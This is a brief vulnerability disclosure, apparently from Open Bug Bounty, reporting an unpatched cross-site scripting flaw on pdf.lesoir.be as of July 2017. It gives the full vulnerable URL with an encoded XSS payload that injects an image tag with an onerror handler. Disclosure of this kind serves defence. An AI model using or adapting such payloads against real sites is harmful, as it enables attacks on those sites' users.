pdf.lesoir.be XSS vulnerability

Vulnerable URL: http://pdf.lesoir.be/monprofil/logbox.php?aff=FULL=http%3A%2F%2Fpdf.lesoir.be%2Fmonprofil%2F%3Faction%3D%26ref%3D!%22--!%3E%3CImage%0CSrcset%3DK%0COnerror%3DconfirmOPENBUGBOUNTY%0C Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability...